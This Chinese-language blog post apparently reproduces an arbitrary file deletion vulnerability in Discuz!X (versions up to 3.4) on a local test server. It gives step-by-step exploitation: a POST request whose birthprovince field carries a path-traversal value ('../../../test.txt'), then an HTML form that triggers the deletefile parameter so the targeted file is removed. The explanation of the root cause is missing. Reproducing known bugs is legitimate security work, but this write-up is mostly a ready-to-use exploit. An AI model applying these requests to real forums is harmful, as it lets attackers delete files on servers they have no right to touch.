Discuz!X 前台任意文件删除漏洞的复现实验
作者:admin | 时间:2017-10-10 01:15:45 | 分类:黑客技术 隐藏侧边栏展开侧边栏
Discuz!X 社区软件,是一个采用PHP 和 MySQL 等其他多种数据库构建的性能优异、功能全面、安全稳定的社区论坛平台。
2017年9月29日,Discuz!修复了一个安全问题用于加强安全性,这个漏洞会导致前台用户可以导致任意删除文件漏洞。
影响版本DiscuzX <= 3.4
具体的漏洞预警,在freebuf已经发布了。
本次实现在本地搭建环境,进行复现实验。
0×00复现准备
首先准备本地服务器环境,这里我选择的是phpStudy2017(最新下载的)
http://www.pc6.com/softview/SoftView_22804.html(目前使用3.2版本)
下载完后会是这样
将upload文件夹整个复制到phpStudy2017的WWW目录下
这里的话是把upload文件夹改名为bbs2
DiscuzX 3.2的安装请点击这里http://www.discuz.net/thread-3456887-1-1.html
0×01开始复现
使用浏览器(我使用了火狐)打开论坛,进行注册
在本地目录里新建一个文本文件
来到用户设置页面
http://127.0.0.1/bbs2/home.php?mod=spacecp&ac=profile&op=base
POST提交 birthprovince=../../../test.txt&profilesubmit=1&formhash=2fce4b73
红框圈出来的是你自己用户名的hash值,需要查看网页源代码进行替换。
点击执行
这里修改birthprovince参数为文件站点存在的文件,这就是后面可以删除的文件。
发送包以后我们还要构造请求去执行删除的文件。请求home.php?mod=spacecp&ac=profile&op=base
POST birthprovince=../../../test.txt&profilesubmit=1&formhash=2fce4b73
其中 formhash 为用户hash
然后写一个执行改服务器的html表单,如下
<form action="http://127.0.0.1/bbs2/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=aaaaaa"method="POST" enctype="multipart/form-data"> <input type="file"name="birthprovince" id="file" /> <input type="text"name="formhash" value="2fce4b73"/></p> <input type="text"name="profilesubmit" value="1"/></p> <input type="submit"value="Submit" /> </from>
0×02结果
随便上传一张图片,然后提交表单,upload目录下的test.txt文件就被删除了。
点击Submit出现下面这个
然后查看本地文件目录
发现确实test.txt已经被删除。
漏洞原理参考:
*本文原创作者:生如夏花